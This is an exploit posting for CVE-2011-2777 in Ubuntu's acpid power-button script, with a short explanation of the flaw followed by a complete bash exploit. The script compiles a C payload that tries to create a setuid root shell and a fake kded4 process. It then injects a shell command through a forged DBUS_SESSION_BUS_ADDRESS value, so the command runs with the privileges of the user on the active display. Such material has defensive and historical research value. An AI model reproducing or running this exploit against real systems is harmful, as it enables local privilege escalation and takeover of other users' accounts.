Acpid Privilege Boundary Crossing

`Exploit Title: Acpid Privilege Boundary Crossing Vulnerability  
Google Dork:  
Date: 23-11-2011  
Author: otr  
Software Link: https://launchpad.net/ubuntu/+source/acpid  
Version: 1:2.0.10-1ubuntu2  
Tested on: Ubuntu 11.10, Ubuntu 11.04  
CVE : CVE-2011-2777  
--   
Safeguard this letter, it may be an IMPORTANT DOCUMENT  
  
#!/bin/bash  
#  
# otr  
#  
# The following script is executed when pressing the power button on an Ubuntu  
# 11.10 system. Depending on how far we get in the condition in the code  
# fragement, it is possible for another user on the local system to gain the  
# privileges of the user who has the currently focused display running. The  
# vulnerability only triggers when certain power management programms are not  
# running, especially kded4 and the programms in the $PMS variable need not to  
# be running in order for this to be exploitable.  
#  
# This exploit would be more reliable when having a way to dos  
# gnome-power-manager Also it would be more fun one could trick the getXuser  
# function into setting $XUSER to root. In the case of root being the user on  
# the active display this exploit turns into a privilege escalation  
#  
# Exploitable file /etc/acpi/powerbtn.sh  
# In original source code line 40  
#  
# --  
# PMS="gnome-power-manager kpowersave xfce4-power-manager"  
# PMS="$PMS guidance-power-manager.py dalston-power-applet"  
#  
# if pidof x $PMS > /dev/null ||  
# ( test "$XUSER" != "" && \  
# pidof dcopserver > /dev/null && \  
# test -x /usr/bin/dcop && \  
# /usr/bin/dcop --user $XUSER kded kded loadedModules \  
# | grep -q klaptopdaemon) ||  
# ( test "$XUSER" != "" && \  
# test -x /usr/bin/qdbus && \  
# test -r /proc/$(pidof kded4)/environ && \  
# su - $XUSER -c \  
# "eval $(echo -n 'export '; cat /proc/$(pidof kded4)/environ | \  
# tr '\0' '\n' | \  
# grep DBUS_SESSION_BUS_ADDRESS); \  
# qdbus org.kde.kded" | \  
# grep -q powerdevil) ;\  
# then  
# --  
#  
# The problem here is that the output of cat /proc/$(pidof kded4)/environ is  
# controllable by a local user by exporting the DBUS_SESSION_BUS_ADDRESS  
# variable and running a programm called kded4.  
# Using this environment variable the attack is able to inject arbitrary shell  
# commands into the eval expression which will be executed with the rights  
# of $XUSER which is the user with the currently active display.  
#  
# /usr/share/acpi-support/policy-funcs in the PowerDevilRunning function  
# has similar code but it seems that under normal conditions this only  
# allows to run code with the privileges one already has.  
  
PAYLOADEXE="/var/crash/payload"  
PAYLOADC="/var/crash/payload.c"  
  
KDEDC="kded4.c"  
KDEDEXE="kded4"  
  
TRIGGER="/etc/acpi/powerbtn.sh"  
  
rm -f $PAYLOADEXE $KDEDEXE $KDEDC $PAYLOADC  
  
echo "[+] Setting umask to 0 so we have world writable files."  
umask 0  
  
  
echo "[+] Preparing binary payload."  
# we _try_ to get a suid root shell, if not we only get a  
# shell for another user  
cat > $PAYLOADC <<_EOF  
#include <sys/stat.h>  
void main(int argc, char **argv)  
{  
if(!strstr(argv[0],"shell")){  
printf("[+] Preparing suid shell.\n");  
system("cp /var/crash/payload /var/crash/shell");  
setuid(0);  
setgid(0);  
chown ("/var/crash/shell", 0, 0);  
chmod("/var/crash/shell", S_IRWXU | S_IRWXG | S_IRWXO | S_ISUID | S_ISGID);  
}else{  
execl("/bin/sh", "/bin/sh", "-i", 0);  
}  
}  
_EOF  
gcc -w -o $PAYLOADEXE $PAYLOADC  
  
echo "[+] Preparing fake kded4 process."  
cat > $KDEDC <<_EOF  
#include <unistd.h>  
void main (){  
while(42){  
sleep(1);  
if( access( "/var/crash/shell" , F_OK ) != -1 ) {  
execl("/var/crash/shell", "/var/crash/shell", "-i", 0);  
exit(0);  
}  
}  
}  
_EOF  
  
gcc -w -o $KDEDEXE $KDEDC  
rm -f $KDEDC $PAYLOADC  
  
echo "[+] Exporting DBUS_SESSION_BUS_ADDRESS."  
export DBUS_SESSION_BUS_ADDRESS="xxx & $PAYLOADEXE"  
  
echo "[+] Starting kded4."  
echo "[+] Trying to PMS the system."  
echo "[+] Waiting for the power button to be pressed."  
echo "[+] You'll get a shell on this console."  
./$KDEDEXE  
  
rm $KDEDEXE  
  
`